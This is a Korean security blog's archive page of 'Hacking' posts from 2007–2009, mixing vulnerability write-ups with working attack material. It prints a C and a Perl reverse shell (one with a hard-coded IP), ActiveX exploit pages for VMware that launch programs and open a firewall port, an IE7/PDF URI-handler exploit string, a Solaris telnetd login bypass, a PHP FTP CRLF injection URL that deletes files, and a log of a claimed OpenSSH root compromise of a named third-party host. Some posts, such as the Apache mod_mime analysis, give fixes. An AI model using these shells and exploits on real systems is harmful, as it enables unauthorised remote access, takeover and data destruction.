Search Results for 'Hacking'
11 POSTS
- 2009/07/09 KBS 웹 사이트 해킹? DNS 오류? 직원 실수?
- 2009/07/07 0day openssh remote exploit
- 2009/04/15 Apache 설정 문제점 (mod_mime Module) (5)
- 2007/10/18 PDF ZeroDay 취약점(?) - exploit
- 2007/07/31 VmWare Inc version 6.0.0 CreateProcess & CreateProcessEx 리모트 코드 실행..
- 2007/07/30 VMware Inc 6.0.0 (vielib.dll 2.2.5.42958) ActiveX 취약점.
- 2007/07/23 dumpcode
- 2007/07/23 Reverse Telnet.. 방화벽 우회(?) 역으로 접속하기..
- 2007/07/23 Solaris 10 텔넷 데몬(in.telnetd) 취약점.
- 2007/07/23 PHP의 FTP 함수에서의 CRLF Injection
KBS 웹 사이트 해킹? DNS 오류? 직원 실수?
Posted 2009/07/09 21:06 by silverbug
0day openssh remote exploit
Posted 2009/07/07 11:40 by silverbugExploit은 아직 공개 되지 않고, 테스트 결과만 공개된 사항이라, 사실인지는.... 모르겠습니다만.. 실제 Exploit이 공개 된다면 상당한 파장(웜등으로 인해)이 예상되네요..
redhat enterprise linux 5.3의 openssh 4.3에서 테스트한 결과입니다.
anti-sec:~/pwn# ./map ssanz.net
IP: 66.197.143.133 ( osiris.ssanz.net )
WWW: Apache/2.2.11
SSH: SSH-2.0-OpenSSH_4.3
IP: 66.197.204.101 ( devil.ssanz.net )
WWW: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8e-fips-rhel5
mod_mono/2.4 mod_auth_passthrough/2.1 mod_bwlimited/1.4
SSH: SSH-2.0-OpenSSH_4.3
anti-sec:~/pwn# cd xpl/
anti-sec:~/pwn/xpl# ./0pen0wn -h 66.197.143.133 -p 22
[+] 0wn0wn – anti-sec group
[+] Target: 66.197.143.133
[+] SSH Port: 22
[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~>]
sh-3.2# export HISTFILE=/dev/null
sh-3.2# id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
sh-3.2# uname -a
Linux osiris.ssanz.net 2.6.24.5-grsec-hostnoc-4.0.0-x86_64-libata
#1 SMP Mon Aug 25 15:56:12 EDT 2008 x86_64 x86_64 x86_64 GNU/Linux
더보기
출처 : http://baoz.net/0day-openssh-remote-exploit/
Apache 설정 문제점 (mod_mime Module)
Posted 2009/04/15 13:48 by silverbug위 취약점은 오래전 발견하여, 국XX에 신고 및 아파치 재단에 알렸으나, 국XX은 설정상의 문제라 어찌할 수 없다는 답변을 받았고, 아파치 재단은 설정에서 수정하면 되니, 소스 코드에서는 수정할 이유가 없다. 원래 기능일 뿐이다라고 답변..
국내 많은 보드들이 위험한데... 패치해주길 바라는 마음에서...
(국내 취약한 보드들로 인해 위험하여, 그냥 묻어둘려고 했으나 sans에서 발표하는 바람에 그냥 올리게 되었음.)
１ 일반적인 Apache 설치 시 문제점
이 취약점은 Apache를 사용하고 파일을 업로드 할 때 생기는 문제점으로, 현재 웹 호스팅 업체 및 기타 거의 대부분의 사이트에서 보안 설정을 하지 않는다.
가) 어떠한 문제가 생기는가?
일반적으로 Apache를 설정할 때, 중요한 한가지를 빠뜨리는 경향이 있다. (아마 대부분 그럴 것이다.) 이 중요한 한가지를 제외하고 설정을 했을 때, 어떠한 문제가 일어나는지 살펴보자.
본론으로 넘어와서, 간단하게 테스트 해 보도록 하자. 자신의 서버나 게시판이 존재한다면, php 파일을 작성해 보도록 하자.
|
<? system(“id”); phpinfo(); ?> |
1. 위의 작성한 파일을 “test.php”로 저장해 보도록 하자.
결과는 다음과 같다. (정상적으로 “PHP“ 실행 됨.)
2. 다시 한번 위의 작성한 내용을 “test.silverbug” 파일이름으로 저장하고 실행해보자.
결과는 다음과 같다. (“PHP” 실행 불가”)
3. 마지막으로 다시 한번 위에서 작성한 내용을 “test.php.silverbug” 파일이름으로 저장하고 실행해보자.
어떻게 예상하는가? 당신이 상상한 그 이상의 결과를 내뿜을 것이다.
결과는 다음과 같다.
황당하고 어이 없어 하는 사람들도 있을 것이다. 너무 황당하지 않는가? 처음 버그를 실수로 발견했는데, 필자는 “왜 이제까지 아무런 이슈가 없었을까?” 라는 생각을 했다.
또한 왜? 필자는 취약점이라고 하지 않고, 설정상의 문제라고 했을까? 필자 또한 취약점으로 무지 심각하게 오해하고, 거의 1년간 Apache Security Team에 신고를 하려고 했으나, 바쁜 일정과 아직 태어나지는 않았지만, 잘 자라고 있는 우리 아들을 돌보느라 최근에 Apache Security Team에 상황을 보고 했다.
2~3번 정도의 메일을 통한 대화 끝에, 취약점이 아니라 일부러 그렇게 만들어 놨다는 것이다. 왜? 효율성 때문에…… (사실 Apache Security Team에 보고하기 전에 소스를 확인하면서 취약점이 아닐 꺼 같다는 생각을 강하게 받았었다. 혹시나 했는데.. 역시나……)
하지만.. 존재하지 않은 MIME 값에 대해서는 예외 처리를 당연히 해줘야 하지 않은가… 아파치 쪽에서는 패치 할 의향이 없다라는 답변만 돌아 옴.
국내외 거의 대부분의 사이트에서 설정을 사용하지 않는다면, 문제가 될 수 밖에 없는데…
나) 왜 그러한 문제가 생기는 것일까?
왜 이러한 문제가 생기는지 간단하게 설명하면, Apache 웹 서버의 Mime 모듈은 다양하게, MIME을 받으려고 하는 부분에서 문제가 생긴다. 그럼 소스를 보고 간단하게 코드를 보면서 살펴보도록 하자.
|
Source File : mod_mime.c Function Name : find_ct(request_rec *r) fn = strrchr(r->filename, '/'); … ext = ap_getword(r->pool, &fn, '.'); /* Parse filename extensions, which can be in any order */ while ((ext = ap_getword(r->pool, &fn, '.')) && *ext) { int found = 0; if ((type = ap_table_get(conf->forced_types, ext)) || (type = ap_table_get(hash_buckets[hash(*ext)], ext))) { r->content_type = type; found = 1; } … |
일단 간단하게 MIME Type만 체크하는 부분의 코드를 보도록 하자. 위 코드를 살펴보면 입력된 파일명을 받아서 “.”으로 끊으면서 반복하게 된다. 즉, “a.b.c” 파일이 존재할 경우 b와 c 둘 다 확장자로 인식한다는 뜻이다.
(유독 MIME 모듈에서만 이러한 형태를 취하고 있다. 다른 모듈 소스는 “strrchr”을 통해 실제 마지막 확장자만을 확장자로 인식한다.)
여기서 ap_table_get 함수를 이용하여 확장자에 맞는 Content-Language, Content-Type, Special Handler, Content-Type을 결정하여, “r” 구조체 변수에 담게 된다.
만약 a.php.jpg 파일이 입력되면, 처음에 php 확장자의 각 Content 정보를 ‘r” 구조체 변수에 담고, 다시 jpg 확장자의 각 Content 정보를 “r” 구조체에 담는다. 즉 마지막에는 jpg 확장자의 Content 정보만 “r” 구조체 변수에 들어간다는 것이다. 하지만 여기서 중요한 점이 있다. 코드를 살펴보면 ap_table_get 함수를 통해 입력된 확장자가 등록되지 않은 확장자라면??? “r” 구조체 변수는 기존 정보를 그대로 유지한다는 것이다.(사실 왜 이렇게 했는지 이해가 안될 뿐이다.)
즉 “test.php.silverbug”라면 “silverbug”라는 확장자는 아파치 설정에 포함되어 있지 않기 때문에, 기존에 입력된 “php” 확장자의 Content 정보를 가져간다는 것이다.
위의 문제점(?)이 어디에 약용될 것인가? 대부분의 Web Application은 실행 가능한 확장자를 업로드 하지 못하도록 필터 링하고 있다. 하지만 이러한 필터 링 방식을 살펴보면, 젤 마지막 실제 확장자만을 체크하여 비교 체크를 한다. 이러한 경우 웹 서버 설정을 잘못해놨을 경우 php나 cgi 파일을 업로드 하여, 웹 서버의 사용자 권한을 획득할 수 있다.
２ 문제점 해결 방법
가) Application 에서의 보안
① 파일 업로드 기능을 가지고 있는 웹 어플리케이션에서 확장자 체크를 끝부분만 하지 않고 임시적으로 전체 파일명에 대해 필터 링 기능을 가지고 있어야 한다
② 등록 불가능한 확장자를 체크하는 방식보다는 등록 가능한 확장자만을 체크하여 필터링 하여야 한다.
③ 파일을 업로드 할 때 실제 파일명은 데이터베이스에 기록하고, 실제로 파일이 저장될 때 파일명/확장자를 임의적으로 저장(File, DB)하도록 한다.
나) httpd.conf 파일 수정
FileMatch를 사용하여 확장자 끝부분($)만 비교하도록 설정한다.
다음과 같다.
CGI 파일 확장자(다른 확장자 사용시, 그에 맞는 확장자 확장 설정 필요)
|
SetHandler cgi-script
|
PHP 파일 확장자(다른 확장자 사용시, 그에 맞는 확장자 확장 설정 필요)
|
<FilesMatch \.php$> SetHandler application/x-httpd-php </FilesMatch> 또는 <FilesMatch "\.ph(p[2-6]?|tml)$"> SetHandler application/x-httpd-php </FilesMatch> 그리고 소스는 <FilesMatch "\.phps$"> SetHandler application/x-httpd-php-source </FilesMatch> |
다) Source Code에서의 보안
mod_mine.c 파일의 find_ct 함수의 내용 중 ap_table_get에서 값을 얻어오지 못할 경우, else 처리를 하여 “r” 구조체 변수를 NULL 처리하도록 한다.
|
# php, etc… Patch if ((type = ap_table_get(conf->forced_types, ext)) || (type = ap_table_get(hash_buckets[hash(*ext)], ext))) { r->content_type = type; found = 1; fprintf(fp, "File Type Name :: %s\n", type); } else { found = 0; r->content_type = NULL; } ……. # cgi, etc… Patch /* Check for a special handler, but not for proxy request */ if ((type = ap_table_get(conf->handlers, ext)) && r->proxyreq == NOT_PROXY) { r->handler = type; found = 1; } else { found = 0; r->handler = NULL; } |
[참고 사이트]
http://www.php.net/manual/en/install.unix.apache2.php
http://httpd.apache.org/docs/2.2/en/mod/mod_mime.html#multipleext
PDF 문서는 다운로드 받아서 보세요!~
Apache 설정 문제점2.pdfPDF ZeroDay 취약점(?) - exploit
Posted 2007/10/18 15:35 by silverbug+ Adobe Reader 8.1 (and earlier)
+ Adobe Acrobat Standard, Pro and Elements 8.1 (and earlier)
+ Adobe Acrobat 3D
System affected:
+ Windows XP with IE7
Exploit이 공개 됐을때 황당하고 당황스러운... 제발 그것만은 아니길 바랬는데... 이런...
만들어 놓았던 익스플로잇과 공개된 익스플로잇이 일치 -_- 멋진 취약점이길 바랬는데....
이번에 메일링에서 한참 떠들어 댔던 PDF의 취약점에 대해 분석한 내용을 적어본다.
사실 PDF 취약점이라기 보다는 IE7에서 발생하는 문제점으로 PDF는 단지 URL만 요청하는 역할을 할 뿐이다.
분석 ::
PDF의 경우 AcroJS인 스크립트를 사용한다. 이를 이용하여 PDF에서 계산기며, 여러 스크립트 동작을 가능하게 한다.
물론 XSS 취약점등을 방어하기 위해 보안이 강화된 스크립트를 사용한다.
실제 alert 창을 띄우는 코드는 바이너리에 아래와 같이 삽입된다.
<</S /JavaScript /JS ({app.alert\("TEST"\)})>>
위 코드는 스크립트 코드를 알리며, app.alert를 통해 TEST라는 Alert 창을 띄운다.
위의 스크립트를 통해 공격이 가능하게 되는데 어떠한 스크립트를 통해 가능한지 알아보면 다음과 같다.
<</S /JavaScript /JS ({({GetURL\("http://XXX"\)})>>
<</URI(http://XXXX)/S/URI>>
AcroJS를 공부하면서 알아낸 방법은 두가지이다. 스크립트를 이용한 방법과 URI를 이용한 방법이다.
XXX 부분에 URL 주소를 넣으면 PDF에서 창을 띄워 XXX URL로 이동하게 된다.
즉 기본적으로 들어 있는 기능이며, 사실상 크게 문제 될 부분은 없다.
{{
Etc..
- pdf를 다운 받아 실행하면 보안 경고창이 뜬다. 하지만 웹에 올려 놓으면 pdf ActiveX 가 실행되면서 보안 경고창없이 진행된다.
또한 Exploit이 동작하는 동영상에는 레지스터를 수정하여 보안 경고창을 없앤걸로 보인다.
}}
하지만 IE 7에서 shell32!ShellExecute()에서 URL 핸들링 버그로 인해 PDF가 이용됐다.
mailto:test%../../../../windows/system32/calc.exe".cmd
nntp:../../../../../Windows/system32/telnet.exe" "secunia.com 80%.bat
참조 :: http://secunia.com/advisories/26201/
위의 코드를 IE7에서 동작시키면 계산기가 뜨게 된다. 두번째 코드는 telnet을 실행할 것이다.
즉 PDF에서의 문제는 IE7에서의 문제점을 공격자들에 의해 더 많이 확산될 길을 열어주는 것 뿐이다.
Exploit은 아래와 같다....
({({GetURL\("mailto:test%../../../../windows/system32/calc.exe".cmd"\)})>>
p.s
사실 위 문제점이라고 짐작은 하였으나 설마.. 아니겠지... 라는 생각을 하면서 다른 방법들을 시도해 보았다.
물론 실패로 끝났지만 ....
실패작 중 하나...
file:////c:/windows/system/calc.exe 를 넣어보았으나
file:/// 이러한 문자는 스크립트에서는 차단시키고.. URI에서는 다운로드 형태로 처리해 버린다.
VmWare Inc version 6.0.0 CreateProcess & CreateProcessEx 리모트 코드 실행..
Posted 2007/07/31 09:18 by silverbug어제 발표된 취약점과 마찬가지.. 취약점..
vielib.dll 라이브러리에서 CreateProcess & CreateProcessEx method를 체크하지 않아 생기는 문제로 공격자는 사용자 컴퓨터를 html이나 실행 프로그램을 이용하여 유효한 쉘을 획득할 수 있다.
clsid:0F748FDE-0597-443C-8596-71854C5EA20A
공격코드
<HTML>
<BODY>
<object id=_9090909090 classid="clsid:{0F748FDE-0597-443C-8596-71854C5EA20A}"></object>
<SCRIPT>
function _d0_() {
ba="c:\\windows\\system32\\calc.exe"
ad="c:\\windows\\system32\\calc.exe"
fO="c:\\windows\\system32\\"
Od=1
_9090909090.CreateProcess(ba, ad, fO, Od)
}
</SCRIPT>
<input language=JavaScript onclick=_d0_() type=button value="Proof of Concept">
</BODY>
</HTML>
VMware Inc 6.0.0 (vielib.dll 2.2.5.42958) ActiveX 취약점.
Posted 2007/07/30 11:22 by silverbugExploit 제작자.
:. GOODFELLAS Security Research TEAM .:
:. http://goodfellas.shellcode.com.ar .:
영향.
Vmware 6.0.0 프로그램은 vielib.dll 라이브러리를 가지고 있는데, 이 라이브러리의 StartProcess Method는 악의적인 프로그램을 실행 할 수 있다.
요약
StartProcess method는 악의적인 사용자나 어플리케이션에서 호출되었는지 확인하지 않아 생기는 문제점이다. 리모트 공격자는 html page나 실행코드를 사용하여 외부 시스템의 권한을 획득할 수 있다.
임시 대처 방안
regsvr32를 사용하여 vielib.dll을 Unregister 해라.
clsid:7B9C5422-39AA-4C21-BEEF-645E42EB4529 비활성화 시켜라.
기술 세부 정보
StartProcess method가 성공적으로 실행하기 위해서는 3개의 파일을 필요로 한다(stdin, stdout, stderr). 공격자는 Microsoft Office 2003 Application에 존재하는 파일을 이용했다.
공격 코드
<BODY>
<object id=ctrl classid="clsid:{7B9C5422-39AA-4C21-BEEF-645E42EB4529}"></object>
<SCRIPT>
function Poc() {
arg1 = "C:\\windows\\system32\\netsh.exe"
arg2 = "C:\\windows\\system32\\netsh.exe firewall add portopening tcp 4444 GotIT"
arg3 = "C:\\windows\\system32\\"
arg4 = "C:\\Program Files\\Microsoft Office\\OFFICE11\\noiseneu.txt"
arg5 = "C:\\Program Files\\Microsoft Office\\OFFICE11\\noiseeng.txt"
arg6 = "C:\\Program Files\\Microsoft Office\\OFFICE11\\noiseenu.txt"
arg7 = "1"
ctrl.StartProcess(arg1 ,arg2 ,arg3 ,arg4 ,arg5 ,arg6 ,arg7)
}
</SCRIPT>
<input language=JavaScript onclick=Poc() type=button value="Proof of Concept">
</BODY>
</HTML>
:: 테스트 결과
- 실제 메모장을 실행하게 한 결과 아무런 문제 없이 실행됨을 확인하였다.
dumpcode
Posted 2007/07/23 21:00 by silverbugvoid printchar(unsigned char c)
{
if(isprint(c))
printf("%c",c);
else
printf(".");
}
void dumpcode(unsigned char *buff, int len)
{
int i;
for(i=0;i<len;i++)
{
if(i%16==0)
printf("0x%08x ",&buff[i]);
printf("%02x ",buff[i]);
if(i%16-15==0)
{
int j;
printf(" ");
for(j=i-15;j<=i;j++)
printchar(buff[j]);
printf("\n");
}
}
if(i%16!=0)
{
int j;
int spaces=(len-i+16-i%16)*3+2;
for(j=0;j<spaces;j++)
printf(" ");
for(j=i-i%16;j<len;j++)
printchar(buff[j]);
}
printf("\n");
}
Reverse Telnet.. 방화벽 우회(?) 역으로 접속하기..
Posted 2007/07/23 20:44 by silverbug#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
int main(void)
{
int sfd;
struct sockaddr_in saddr;
sfd = socket(2, 1, 0);
saddr.sin_family = 2;
saddr.sin_port = 0x32; // 3200 == 12800
saddr.sin_addr.s_addr = inet_addr("203.239.110.12 ");
connect(sfd, (struct sockaddr *)&saddr, 0x10);
dup2(sfd, 0);
dup2(sfd, 1);
dup2(sfd, 2);
execl("/bin/sh", "sh", 0);
close(sfd);
}
use Socket;
use FileHandle;
$IP = $ARGV[0];
$PORT = $ARGV[1];
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
connect(SOCKET, sockaddr_in($PORT,inet_aton($IP)));
SOCKET->autoflush();
open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
system("id;pwd;uname -a;w;HISTFILE=/dev/null /bin/sh -i");
Solaris 10 텔넷 데몬(in.telnetd) 취약점.
Posted 2007/07/23 20:06 by silverbug>> 본 분석은 맘대로 분석한것이니.. 절대 100% 신뢰하지 말기를 바란다.
>> - 이 글은 유치원 선생님인 황진희로 부터 작성되었으며.. 도와준 우리반 유치원생들에게 감사를 ......
>> 2007년 02월...... 유치원 교사 황.(Teacher.Hwang) 씀...
◈ 제목
Solaris 10 텔넷 데몬(in.telnetd) 취약점.
◈ 개요
Sun Microsystems사의 Solaris 운영체제는 텔넷 데몬(in.telnetd)의 취약점으로 인해 인증 매커니즘을 우회할 수 있다.
◈ 해당시스템
# Sun Solaris 10
# Sun Solaris 11 Beta
◈ 취약점 분석.
일단 Telnet 데몬이 어떻게 동작하게 되는지 살펴 보도록 하겠다.
>> Telnet Daemon 흐름
- Telnet Daemon은 사용자가 접속하였을 경우 -l 옵션이나 기타 옵션을 통해 사용자 명이나 기타 옵션을 확인 후 형태에 맞게 실행하게 된다.
- 인증 처리 절차에 의해 Kerberos 인증을 요청했는지 그외의 인증을 요청했는지 확인 후
각 인증 형태에 맞는 인자값을 주면서 execl 함수를 통하여 login 프로그램을 실행하게 된다.
- 즉 telnet -l root 를 실행했다면..
execl(LOGIN_PROGRAM, "login", "-p", "-h", host, "-d", slavename, root);
이런식으로 처리된다.
(실제 인증 처리는 PAM 에서 처리하겠죠~)
- id/password 메세지가 뜨고 인증을 시작하게 된다.
>> 그럼 어디서 문제가 생기는가...??
telnet -l"-f<user>" <hostname>
telnet client의 -l옵션은 사용자명을 미리 입력받아 처리해주는 옵션이다.
이는 환경변수로 USER라는 변수에 유저 네임이 저장되어 처리되게 된다.
즉! 이 부분에서 문제가 생기게 되는 것이다.
-l 옵션을 주어 유저명을 -f<user>라고 입력하였을 때 -f<user>는 유저명으로 인식되고..
위에서 telnet 데몬의 흐름을 봤던걸 기억하면 그 유저명은 login 프로그램이 실행될 때 인자값으로
들어간다는걸 확인 할 수 있었다.
즉 .. execl(LOGIN_PROGRAM, "login", "-p", "-h", host, "-d", slavename, "-f<user");
이렇게 들어가게 되서 login 프로그램에서 -f 옵션을 사용함으로서 인해 인증없이 접속이 가능하다.
>> 패치는 어떻게 구성되는가??
(void) execl(LOGIN_PROGRAM, "login", "-p", "-h", host, "-d", slavename, getenv("USER"), 0);
패치 후...
(void) execl(LOGIN_PROGRAM, "login", "-p", "-h", host, "-d", slavename, "--", getenv("USER"), 0);
즉 -- 를 줘서 뒤에 오는 옵션인 환경 변수를 사용하지 못하게 하였다.
◈ 해결책
또한 telnetd 의 사용보다는 sshd 사용을 권장하며, root 사용자의 원격 접속은 막아두는 것이 좋다.
SPARC Platform
Solaris 10 with patch(120068-02)
http://sunsolve.sun.com/search/document.do?assetkey=urn:cds:docid:1-21-120068-02-1
x86 Platform
Solaris 10 with patch(120069-02)
http://sunsolve.sun.com/search/document.do?assetkey=urn:cds:docid:1-21-120069-02-1
또한 임시 해결책으로는 방화벽에서 특정 호스트만 telnet 포트인 TCP 23번을 허용할 수도 있으며, telnetd 의 사용보다는 sshd 사용을 권장하며, root 사용자의 원격 접속은 막아두는 것이 좋다.
이런 실수를 두번 다시 반복하지 않도록 ^^ 항상 조심하여 코딩!!! 하는 습관을 들이자!!
PHP의 FTP 함수에서의 CRLF Injection
Posted 2007/07/23 20:05 by silverbug옮긴이 : 유치원 교사 황. (teacher.Hwang)
취약점 분석.
PHP의 FTP 함수를 보면 ftp_mkdir 같은 함수들을 찾아 볼 수 있다.
이 함수는 ftp_mkdir 이름을 보면 알 수 있듯이 ftp 접속 후 디렉터리를 만들어내는 함수이다.
하지만 이 함수의 파라미터인 command 인자값에 만들 디렉터리명을 넣게 되어 있는데..
이 인자값에 만들 디렉터리명\r\n다른명령어 를 넣어 다른 명령을 실행 할 수 있다.
예를 들면 다음과 같다.
<?php
$ftp_server='http://www.loveshell.net';
$ftp_user_name='loveshell';
$ftp_user_pass='loveshell';
$command = $_GET['dir'];
$conn_id = ftp_connect($ftp_server);
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);
if($command) ftp_mkdir($conn_id, $command);
.......
위 소스를 공략하여 익스플로잇을 제작하면.. 다음과 같다.
http://test.com/t.php?dir=s%0D%0AMKD jnc%0D%0ADELE j.txt%0D%0Armd tes
위 익스플로잇을 살펴보면..
iloveshell 디렉터리를 만들고 난 후 jnc 디렉터리를 만들어낸다. 그리고 j.txt를 지우고 tes라는 디렉터리를 지운다. (0D 0A <-- 헥사코드로 \r\n 인건 아시죠?)
위 익스플로잇은 php 5.1.6에서 테스트 되었으며 다른 함수 또한 취약점을 가지고 있다.
Search
Tag Cloud
Categories
Recent Posts
Recent Comments
Recent Trackbacks
Calendar
Bookmarks
- TOTAL 66,879 HIT
- TODAY 1 HIT
- YESTERDAY 23 HIT